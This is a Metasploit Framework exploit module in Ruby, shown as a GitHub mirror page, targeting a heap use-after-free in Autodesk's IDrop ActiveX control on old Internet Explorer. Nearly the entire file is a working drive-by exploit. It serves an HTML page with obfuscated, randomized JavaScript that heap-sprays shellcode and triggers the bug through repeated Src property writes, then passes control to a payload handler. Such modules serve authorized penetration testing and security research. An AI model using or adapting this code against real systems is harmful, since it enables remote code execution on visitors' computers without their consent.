mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
140 lines
4.1 KiB
Ruby
140 lines
4.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
|
|
'Description' => %q{
|
|
This module exploits a heap-based memory corruption vulnerability in
|
|
Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
|
|
An attacker can execute arbitrary code by triggering a heap use after
|
|
free condition using the Src, Background, PackageXml properties.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]
|
|
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '53265' ],
|
|
[ 'BID', '34352' ],
|
|
[ 'EDB', '8560' ],
|
|
[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
|
|
],
|
|
'DisclosureDate' => 'Apr 2 2009',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Encode the shellcode
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
# Setup exploit buffers
|
|
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
blocksize = 0x40000
|
|
fillto = 550
|
|
offset = target['Offset']
|
|
|
|
# Randomize the javascript variable names
|
|
idrop = rand_text_alpha(rand(100) + 1)
|
|
j_function = rand_text_alpha(rand(100) + 1)
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
|
j_mem = rand_text_alpha(rand(100) + 1)
|
|
|
|
# Build out the message
|
|
content = %Q|
|
|
<html>
|
|
<head>
|
|
<script language='javascript' defer>
|
|
function #{j_function}() {
|
|
#{j_shellcode}=unescape('#{shellcode}');
|
|
#{j_nops}=unescape('#{nops}');
|
|
#{j_headersize}=20;
|
|
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
|
|
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
|
|
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
|
|
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
|
|
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
|
|
#{j_memory}=new Array();
|
|
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
|
|
|
|
var #{j_ret} = '';
|
|
for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
|
|
#{j_ret} += unescape('%u0a0a');
|
|
}
|
|
for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
|
|
try {
|
|
var #{j_mem} = #{idrop}.Src;
|
|
#{idrop}.Src = 'http://' + #{j_ret};
|
|
#{idrop}.Src = #{j_mem};
|
|
#{idrop}.Src = 'http://' + #{j_ret};
|
|
} catch(e){}
|
|
|
|
}
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload='return #{j_function}();'>
|
|
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|